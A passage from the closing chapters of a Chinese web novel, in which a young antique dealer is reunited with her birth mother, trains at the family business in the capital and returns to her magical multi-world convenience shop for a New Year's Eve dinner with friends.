我们听到有小孩子哼哼，我和你妈都以为见鬼了，后来觉得不对，往草丛里一扒拉，刚好看到一个小孩，裹着厚厚的毯子，上面盖了张席子，脸冻得通红。” 萧大明陷入回忆，说话同时双手拉开距离比划。 张芸红了眼，萧雁如直勾勾盯着萧妧妧，眼泪吧嗒吧嗒掉。 “我们以为孩子是没人要的，这搁在乡下太常见了，我和你妈想着送去福利院，结果抱回家一看，粉色小被子是绣花的，衣服的料子又轻又软，穿在外面的小毛衣还是羊毛，等你妈发现你身上还戴了平安锁，你爷爷说是值钱东西，一看就知道家里人费了心思的，不可能扔了孩子不管，我们就知道有误会，小孩多半走丢的。” 萧大明把平安锁塞给萧妧妧。 “我们第二天去找的警察，可惜查来查去没查到谁家丢了孩子。 你爷爷说，正好我们要不了孩子，不如留下自己养。我和你妈考虑了一下，决定去办领养手续。 名字呢，我们就商量按平安锁上的字来，等你以后找到亲爸亲妈，省得改来改去。” “这些年我们也一直在打听，只是我们没想到会在京城那么远，只顾着在南市附近找了。” 萧妧妧有一瞬间的意外，她从来没听爸妈说过他们有在偷偷为她寻亲。 “你不是想去当演员吗？我和你妈就想，等你成明星了，你爸妈肯定能认出你。 我和你妈捡到你的时候已经不年轻了，我们不知道能陪你多久，你那时候才多大，以后被人欺负怎么办？ 我们当时想着，你找到亲爸妈也好，以后有他们陪你。” 萧大明说着说着哽咽起来，话音断断续续。 从决定领养萧妧妧的那一刻，两人早做好有这么一天的准备，可真等到这一天，他们却心里酸酸的。 萧妧妧也情不自禁红了眼睛，她的养父母真的是很好的人了。 “妧妧，去和你亲妈说说话吧。” 萧大明推了推她，示意她去看一旁泪流满面的萧雁如。 “其实咱们很有缘分，你看，我姓萧，大妹子姓萧，往上数说不定是一家呢，妧妧连名带姓都不用改了。” 萧雁如擦擦泪，声线颤抖的附和：“对，大哥大嫂说得对，是咱们有缘分。” 她挪了挪位置，试探着靠近萧妧妧，没有察觉到女儿抗拒的态度，控制不住紧紧抱上去。 萧大明还有心思安慰萧雁如：“大妹子别哭啊，好不容易找到闺女这是好事啊。 我们不说把孩子教得多好，那也差不到哪去。 你看妧妧现在自己做古董生意，正好我听小叶说您家祖传的生意就是古董那行的，多巧啊。” 萧雁如说不出话，连连点头。 萧妧妧僵硬的身体松弛些许，尝试拍了拍萧雁如的后背，然后，耳边哽咽的哭泣声更大了。 张芸擦擦鼻涕抹抹眼泪，说：“这是你亲妈，你叫人啊。” 萧妧妧多看张芸和萧大明一眼，张了张唇，犹豫几秒，低声冲着抱得她有点窒息的女人开口喊了一声妈。 这一声“妈”像藏在萧雁如身上的开关，她连着应了好几声，抱萧妧妧的力道不由收紧。 萧妧妧不知道怎么回应这份汹涌的情绪，抿抿唇，又叫了一声妈。 萧雁如干脆哭得喘不上气。 足足十几分钟，大家情绪终于稳定下来。 这时，萧妧妧也迟钝注意到茶几上那一摞现金，眉头蹙起。 萧雁如连忙解释：“妧妧你别多想，这钱没别的意思，就是感谢大哥大嫂这几年对你的照顾。养孩子要花钱花心思，大哥大嫂把你养得那么好，肯定付出了很多。 别的东西我拿不出，只能这样表示一下心意。 你放心，我来之前考虑好了，我知道你和大哥大嫂感情好，让你跟我回京城不现实，我也没打算那么做。 你别有负担，只当多了一个妈，不会影响你生活，我们也不会要求你做选择。 你想在南市就在南市，想去京城就去京城，随便你想做什么。 其实在你回来之前，我和大哥大嫂都商量的差不多了，怕你接受不了，正好你突然回来……” 萧雁如有些语无伦次，生怕萧妧妧误会而对她生出厌烦不满。 本来这些年就没养过她，感情的缺失必定造成一些误解与偏见，虽说有血缘牵绊，但她也会担心生出嫌隙。 叶赛宁提前和她交待过萧家的状况，萧雁如理智思考后不得不承认这么做是最佳选择，对孩子和双方都好。 如果萧妧妧真抛下养父母随她回京城，萧雁如肯定高兴，但除此之外难免会有一丝心寒。 这样就很好。 他们在叶赛宁的见证下商量了几次，只等闺女回来把话说开。 这一切只是他们的想法，至于孩子怎么想，要不要接受，他们心里没底。 萧妧妧以为自己幻听了，她最担心的问题，竟然在不知不觉中，双方已然商量妥当。 萧雁如继续开口：“我听大哥说，妧妧的古董生意做得很好，其实咱们家也有个经营了几代的古董行，你刚出生的时候，你爷爷，也就是我爸，写了遗嘱要你继承家业。 妧妧你看，你既然对古董生意有兴趣，是不是可以回家看看？ 趁着我还能帮忙，早点把生意交给你。” “不止生意，还有家里的房产，包括我名下的那些古董，以及这些年每年都给你买的楼，找个时间我全给你转过去好不好？” 萧妧妧眨巴眨巴眼睛，她还沉浸在认亲的环节，怎么又聊起财产分配的事？ “会不会太着急了？”她小声说。 南市一个古董铺加一个小卖部，萧妧妧已经忙得抽不开身，她不想给自己揽更多的工作。 “咱家里的事没什么不好说的，你当年走丢并不是个意外，是你爸和你叔叔……”萧雁如苦笑一声，“算了，他不配当你爸，你只要知道，是他们兄弟俩不知足，惦记上我们萧家的产业，趁你爷爷带你回乡祭祖，半路上把你丢在乡下。” “他们这几年不止一次提过让我过继一个齐家的孩子养着，我都没松口。” “老实说，要不是你爷爷早做准备防着他们沾染萧家财产，恐怕他们也会对我下手。” “我记着你爷爷的话呢，没给他们机会接触咱们家的生意，却没想过他们能狠心到连自家亲骨肉都敢下手，以至于他们伏低做小那么多年，我从来没怀疑过他们，给他们可乘之机。” 萧妧妧的狐狸眼与萧雁如几乎如出一辙，只是后者在岁月的关照下显得柔和苍老，然而在提起有实无名的丈夫以及小叔子，柔和的狐狸眼瞬间凌厉起来，眼底的狠意毫不遮掩。 “你放心，我敢接你回去，肯定要为你扫清障碍，什么叔叔爸爸，你都不必理会，以后也没机会再看到他们，就当没他们这个人。” 萧妧妧望着萧雁如，眼眸绽放光彩。 她的亲妈意外的果敢利落，性格比她想象的坚韧，心也足够坚硬。 “是齐小文吗？他们去坐牢了？”萧妧妧好奇追问。 萧雁如点点头，怜惜地抚摸萧妧妧后脑勺：“傻孩子，没证据的事警察怎么管？送他们去坐牢，影响的是你的名声。 我安排人送他们去缅甸挖矿了，那是你爷爷在你刚出生的时候买给你的礼物。 你走失了二十三年，他们也该挖满二十三年的矿做为弥补。” 萧妧妧嚯了一声，亲妈的脾气她喜欢。 萧雁如一瞬不瞬地盯着失而复得的亲闺女瞧，没在她脸上找到一丝一毫的不赞同、心软等情绪，心里十分满意。 “咱们萧家几代单传，以后都会是你的，不如趁你年轻上手快，早点接下。” 继承家业未免有点突然，尤其还需要她离开南市离开小卖部。 萧妧妧为难地蹙起眉头。 萧雁如见她没有立即接话，知道她不太情愿，叹息一声，暂且将这事放开。 什么生意古董，都没有孩子重要。 萧雁如强打起精神，转而询问她在南市的生活点滴。 这些张芸都提过，但萧雁如还想听萧妧妧亲口说一次。 ………… 堆积的文件、等待批复的邮件、约定好的密集会议……黎行聿通通顾不上。 他来回踱步，在院子里徘徊了半个下午，屋子里传来忽高忽低的说话声才勉强放下心。 直到天色擦黑，张芸笑吟吟的出来，乍一见到黎行聿，高兴地招呼他留下吃饭。 萧雁如同样面带笑容跟出来，作势撸起袖子，要让女儿尝尝她的手艺。 萧大明戴上头盔和手套，和女儿商量晚上吃什么，他好赶去买菜。 大门合上，厨房亮起暖黄灯光，萧妧妧捧着脸坐在走廊下，澄净的狐狸眼一眨不眨，直勾勾盯住两个忙碌的老母亲。 鼻尖嗅出柑橘香调，她迟钝偏头，朝着在她身前蹲下的男朋友灿然一笑。 “看样子结果还不错？”他抬手拨弄两下她被风吹乱的发丝。 萧妧妧傻笑一会，重重点头，随即身体前倾，就着坐下的姿势抱住他，毛茸茸脑袋埋进他肩窝乱蹭。 “我以为你飞走了呢。”她瓮声瓮气地说，话音略显沙哑。 黎行聿想起她说的“大难临头各自飞”，眼中泛起纵容的笑意，语气轻柔。 “说好在外面等你。” “那你完了，待会你要应付三个人。”萧妧妧猛地抬起头，一脸狡黠，眼睛亮得惊人。 黎行聿一僵，显然没想过这一点。 这下轮到萧妧妧不怀好意的闷笑出声，本就美好的心情越发欢畅。 【作者有话说】 先发后改~ 感谢读者“猫咪娃娃”,灌溉营养液 +50 第234章【正文完】 234 第234章 ◎正文完◎ 褪去盛夏的锋芒,秋日的阳光透亮温和，懒洋洋挥洒在188号的老墙根上。 连绵数日的秋雨在深夜悄然离去，躺椅从走廊挪回院中树下排排放。 围在中央的石桌架起红泥小火炉，银丝碳静静散发烫人温度,橘皮炙烤出焦香,自制奶茶咕嘟咕嘟。 孟甜甜闲适地摇晃躺椅,一手捏着柿饼嚼嚼嚼,一手划开屏幕追综艺，笑声时隐时现。 听到院门方向传来吱呀声,她习惯性开口：“今天不营业，周五周六周日再来吧。” 咔哒一声,院门合上。 孟甜甜觉得动静不对，抬眸一瞥,嚷嚷着要睡好几天懒觉的萧妧妧竟然出现在面前。 “我可不是偷懒，娇娇姐答应陪我一起挑翡翠,我在等她呢。”孟甜甜心虚解释。 萧妧妧面色稍显沉重,步伐更加沉重,她摆摆手,有气无力瘫进躺椅里装死。 “怎么蔫哒哒的,昨晚和霸总哥上床了？” 孟甜甜见她没问翡翠的事，心虚感顿时溜走，笑嘻嘻揶揄她。 萧妧妧气得踢她一脚，捡起一块柿饼堵她嘴。 “我得离开南市一阵子。” 孟甜甜被柿饼上的白霜呛到,猛咳了几嗓子，“你说什么？” 萧妧妧吸气：“我要离开南市去京城待一段时间,归期不定。 不过京城离南市高铁3小时,我会在周五回来,周末的营业我可以顶上。 反正不破斋生意已经稳定了，大家都知道工作日不开门，影响不大……” “影响很大！”孟甜甜迟钝反应过来她都说了什么，差点跳起来：“你要丢下我们不管？” 萧妧妧缩了缩肩膀，小声嗫嚅：“也没有这么夸张。” 孟甜甜哼了一声：“去京城做什么？跟霸总哥双宿双飞？” 萧妧妧提高声量：“那你可多想了，这次和他没关系。” 孟甜甜双手环胸，上下打量她片刻才坐回去，下巴微抬，示意她继续说下去。 “是我妈，我亲妈，她希望我回京城*了解一下自己家的生意，等我处理好就能回来。” 孟甜甜感觉脑子里有一团浆糊，什么亲妈后妈的，小卖部不就是她的生意？ 萧妧妧挠头，她好像忘记把事情始末告诉她了。 她清清嗓子，把亲妈找上门以及她很少提及的身世一并说出来。 孟甜甜听得一愣一愣，橘子烤成焦炭也没察觉。 “所以，是回去继承家业？”她总结道。 萧妧妧点点头，又摇摇头：“不全是。我妈答应了，只要我能弄明白金玉轩的经营模式，熟悉一下各个部门的运转，做到不被人糊弄就行。 管理方面金玉轩一直有专业经理人负责，我只需要对最终结果负责。 毕竟，她也是这么干的。不强求我把所有精力都用在上面。” 孟甜甜稍稍松了口气，“那你亲妈还怪体贴。” 萧妧妧深表赞同。 何止体贴，萧雁如为了弥补二十几年的分离，有点溺爱。 这是张芸说的。 萧雁如上午联系中介，十分钟不到全款买下萧妧妧家隔壁的小院子，只等下午前去过户。 以后，两家院子会从中开一道门，无需萧妧妧来回奔波。 萧雁如打定主意，女儿去哪她去哪，在南市养老也很不错，何况对门就是手帕交的儿子们。 而张芸和萧大明，老两口早在半月前偷摸搬回月牙巷。 用他们的话说，大概是野猪吃不来细糠，熙园的楼房虽好，但邻里关系冷漠，实在无法忍受。 搬过去的这段时间，张芸找不到跳舞搭子、找不到麻将搭子，生活没滋没味。 萧大明的理由差不多，遛弯、下棋、健身几乎独来独往，连门口的保安都因为工作时间和业主闲聊而被扣工资，再不肯和他说话。 两人出门找不到一个熟人唠嗑，憋了大半个月整个人都快抑郁了，灰溜溜搬回来。 孟甜甜露出同情眼神：“那以后就有三个家长管着你啦。” 萧妧妧嘿嘿笑，颇有点甘之如饴的意思。 “行吧，只要你还回来什么都好说。”孟甜甜知晓前因后果，体贴地表示理解：“那你可要快点学，我一个人撑不住的。” 给明确期限她心里姑且有点底，萧妧妧一个归期不定给她吓得不轻。 萧妧妧长舒一口气，孟甜甜支持，其他人就好说了。 稍晚些时候，爱丽丝、申明月陆续进店，她们熟门熟路瘫在躺椅里。 见萧妧妧在，申明月抓紧机会下单，随着天气转冷，伤寒药眼看着要不够用了。 爱丽丝也想买几件厚实衣服，密林里的秋季冷得人骨头疼。 萧妧妧一一应下，趁她们抱着奶茶啜，把和对孟甜甜说过的话重复一遍给她们。 然后，两人直接愣住，眨巴眼睛傻愣愣看过来。 “去哪里？” “谁去京城？” “我们也能去吗？京城远不远？” 萧妧妧正要解释，苏娇娇背着一长条的锦盒走进来。 “妧妧，你看这是不是你要的仇英，雪霁轩买来的《春庭行乐图》，幸好我去的及时，差点让一个洋鬼子用一根小黄鱼买走。” 她放下锦盒，话语里稍显得意，得意自己不仅飞快完成任务，且是从外国人手里抢来的。 苏娇娇兴奋说了好一会，发现没人接话，迟钝察觉有点沉凝的气氛，只是没等问出口，下一秒便知道缘由。 萧妧妧见人到齐，正好，索性一并交待了。 她话落音，抿了抿茶水润喉，顺便等她们的反应。 苏娇娇的反应还算正常，毕竟是成年人，更能体谅她。 “那我先恭喜你，找到了自己的亲人。去京城是正经事，你且去忙，我和甜甜帮你照顾店铺。你放心，我这段时间没什么任务，搜集完古董就来给你帮忙。” 萧妧妧感动得快哭了，不愧是娇娇姐。 申明月情绪没有刚进店那么高昂，只道：“你要早点回来啊，记得带土特产。” 爱丽丝懵懵懂懂，“我不能去吗？” 萧妧妧揉揉她后脑勺：“说不准以后有机会呢。” 有没有机会不好说，先把最好糊弄的给糊弄过去。 前脚从国外回来，调好作息没几天，萧妧妧又准备出远门了。 这次前往京城不止她一人，说拖家带口也不为过。 萧雁如要陪她熟悉工作，带她认识萧家的合作伙伴、亲戚朋友以及金玉轩的老资历。 张芸萧大明轻松多了，去京城吃喝玩乐，权当是度假。 黎行聿同样要回京城，据他说是处理工作，萧妧妧信了。直到他后来跟着回南市，萧妧妧才敢确定所谓的工作都是借口。 叶赛宁和黎岸在国内停留太久，回京城解决签证到期的问题，继续他们的环球旅居。 大家整整齐齐坐在一起的那刻，萧妧妧想，如果系统也能跟着她自由行的话，那可太棒了。 【交易系统绑定对象为自然人，如您有需要，可解绑店铺（您当前拥有店铺数量2，不倒闭小卖部、不破斋古董行）。注：解绑店铺需有最少一间未绑定店铺更换，否则解绑无效】 萧妧妧唰一下挺直脊背，狐狸眼瞪得圆溜溜。 “怎么了？”黎行聿捂住麦克风，侧头用气音无声询问。 萧妧妧笑着摇摇头，让他继续开会。 她闭眼靠在男朋友肩头假寐，实则与系统扯皮。 “那我在京城随便买一间店铺不就可以了？娇娇她们也能在京城出现？” 【更换绑定店铺需用户等级达到5级，并消耗交易熟练度500万点】 萧妧妧不吱声了，5级倒是不难，她现在已经是尊贵的4级用户，再累积300万熟练度便能升级。 但换绑店铺凭什么要500万熟练度，这和抢有什么区别？ 别说她目前达不到条件，达到了也不会选择换绑。 一来一回1000万熟练度没了，等于浪费一次升级机会。 萧妧妧撇撇嘴，腹诽系统抠门。 但话又说回来，这确实算得上好消息。 一行人落地京城，简单休整两天，该工作的工作，该出门玩的出门玩。 萧妧妧目送叶赛宁和黎岸手挽手出发机场，又目送张芸和萧大明欢快加入老年团，仰头和黎行聿对视一眼，齐齐叹气，认命地准备工作事项。 再次站在金玉轩气派的大门前，萧妧妧不由觉得恍惚，回想曾经的豪言壮语，莞尔一笑。 她说希望不破斋能有一天赶上金玉轩的规模，虽然没能实现，但老天奶帮她调剂了愿望，金玉轩成了她的。 萧雁如拍拍走神的闺女，提醒她跟上自己步伐，萧妧妧回过神来，迈步上前。 办公区会议室门口，萧妧妧深呼吸，挺直脊背。 大老板亲自带人，稍微有点眼色的都不会主动找事，尤其得知即将在各部门轮转学习的萧妧妧竟然是大老板好不容易寻回来的亲女儿，无不对她礼让三分。 如果说一开始对她的照顾，源自她和萧雁如的关系，那么在发现萧妧妧并非徒有其表，她自己创业经营古董铺，涉足翡翠珠宝古董生意，并且一个月的营业额和金玉轩的营业额相差无几，再没人敢小瞧她。 后来，不知道谁走漏消息，大家听说萧妧妧就是网上那个特立独行的不破斋的老板，不仅不敢小瞧，甚至佩服得五体投地。 以当下的市场环境，做古董生意杀出重围，获得极高的人气和口碑，已经十分不容易。 而与此同时，萧妧妧兼顾管理自媒体账号，经营得风生水起，粉丝量比起金玉轩只多不少。 能够在两个完全不同领域都取得辉煌的成绩，可不是一般人能够做到的。 从这以后，大家对她的评价也从最初的质疑和轻视，转变成了赞叹和钦佩。 总而言之，萧妧妧的职场生活出乎意料的顺利与充实。 白天，她在鉴定部、征集部来回跑，晚上，黎行聿接她约会。 回到家里，萧妧妧薅着黎行聿给她讲管理学知识，枯燥到听不下去时，她故意使坏捉弄男朋友，顺理成章地打断课程。 黎行聿嘴上敦促她学习，实际十分受用她的“捉弄”，萧妧妧装作不知，故技重施了数不清多少次。 周末，萧妧妧NPC一样刷新在南市的小卖部，处理这一周堆积下来的事情，顺带忙不破斋的翡翠上新。 周一，她又回到京城的金玉轩，继续轮换下一个部门学习。 临近年底，不破斋的上新彻底停下，金玉轩的业务迎来一年之中的小高峰。 萧妧妧忙得顾不上回南市，只通过网络和孟甜甜几人联系，远程操作下单。 陀螺一样连轴转了三个多月，参加完金玉轩的年会，萧妧妧总算结束了实习之旅。 张芸和萧大明先一步回南市准备过年事宜，萧雁如在等女儿基本上手之后，也施施然去了南市。 鹅毛大雪飘飘洒洒的深冬，一身班味的萧妧妧挽着同样一身班味的男朋友的胳膊，踩在了南市月牙巷的巷子口。 因为一年一度的春节，满大街挂上红彤彤的灯笼，游客数量锐减，商铺大多歇业，一向热闹的文化街区此时意外的冷清。 加班加点忙了半个月，紧赶慢赶，总算在年三十这天回到了南市，回到了小卖部。 萧妧妧拢紧领口，感受一会南市湿润的寒风，推了推黎行聿，让他先回家，自己拖上两个大行李箱，笨重地闯进188号。 “我回来啦！” 院门一推，箱子一丢，“砰”“啪”“咚”一连串的动静响起，惊得院中围坐在一起的各位瞪大眼珠子扭头看过来。 短暂的沉寂后，惊喜的欢呼此起彼伏。 爱丽丝噔噔噔跑去厨房拿餐具，苏娇娇搬来椅子热情拉她入座。 龙傲天微笑着为她斟了一杯酒，申明月和柳如烟蹦跶着要抱上来。 孟甜甜无奈笑笑，关上院门，扶起行李箱。 “大年三十赶回来可真行，快来坐，你点名要的氛围感年夜饭——雪中火锅，保证不耽误你晚上和家人团聚。”苏娇娇含笑嗔道。 “妧妧姐，今天的蔬菜都是我种的哦~”爱丽丝骄傲挺胸。 “过完年你还去京城吗？我听甜甜说你的古董铺都不营业了，多可惜啊。 对了，剩下几箱翡翠我也准备好了，等过完年给你送来。”申明月攒了一堆话与她说。 “我刚从宫宴上下来，看，给你们准备了好多菜呢，都是你爱吃的。”柳如烟献宝似的提出食盒。 龙傲天内敛多了，顶着一张被社会毒打过的，十分有沧桑感的年轻面容，默默举杯敬酒。 孟甜甜撑着脑袋看大家七嘴八舌，笑吟吟不说话。 萧妧妧接受到大家的关心，清清嗓子站起身端起酒杯，笑容灿烂。 “这几个月多谢大家关照，没有你们，不倒闭小卖部恐怕真的会倒闭。 新的一年到来，祝我们新年快乐，也祝我们友谊长存。” 簌簌大雪落下，临时撑起的帐篷里洋溢着温暖与欢快。 “新年好——” 玻璃杯叮叮铛铛碰在一起，遮住了彼此祝福的尾音。 酒液下肚，围坐一桌的几人纷纷坐下，听萧妧妧讲述京城的见闻。 “说起京城，那可真是……” “吱——” 萧妧妧刚起了个头，忽听一声短促尖锐的杂音。 爱丽丝东张西望辨别一会，指向小卖部，“是那里。” 萧妧妧想到什么，搁下筷子往小卖部走。 孟甜甜和苏娇娇几人纷纷跟上。 几人先后来到小卖部后门，还没站定，形容枯槁坐在木头轮椅上的女人受惊一般，发出尖锐叫声，拼命推动轮子退出结界。 孟甜甜了然：“有新客人来了。” 回南市的前半个月，萧妧妧提前解开权限，没想到直到今天才有第一个新客人上门。 萧妧妧见怪不怪，招呼大家继续吃年夜饭。 然而他们刚转过身，一个不知道是身体变异还是玩cosplay的男人跌跌撞撞闯……爬进来。 他眼眸混沌无神，皮肤布满怪异犹如鳞甲一般的东西，四肢呈现蜥蜴、鳄鱼这类爬行生物的特征。 只有眼睛和脑袋能看出他曾经是个人。 “啊——” 瞬间，小卖部尖叫声四起。 柳如烟苏娇娇吓得花容失色，手脚并用爬上桌子，爱丽丝反应迟钝，是被柳如烟硬薅上桌。 萧妧妧没好到哪去，脸都白了，一个跨步爬上柜台，缩起双脚。 龙傲天、申明月、孟甜甜勉强保住了一众人的脸面，齐齐抽出武器，眼含戒备，对准半人半兽的新物种。 半人半兽的新物种全然不在意旁人的惊吓与警戒，疯狂扒拉着结界边的长桌，似乎在寻找。 爱丽丝左右看了看，低呼出声：“他想要水晶！” 其余几人侧目看去，长桌之上能称作水晶的东西，唯有玻璃缸盛放的丧尸晶核。 他需要丧尸晶核？ 好嘛，要么不来，要来就一窝蜂来。 新客人甚至不能算人形。 萧妧妧拍拍胸脯舒缓紧张情绪，确认系统的防护功能为开启状态，踮起脚，小心翼翼凑近他。 “欢迎光临不倒闭小卖部，客人稍安勿躁，我这就帮您取晶核……” 【作者有话说】 正文到此为止啦，后面还有一些番外，以及不定期的修文，不保证日更（只能说尽量吧）[撒花] 感谢读者“一觉睡到自然醒”,灌溉营养液 +20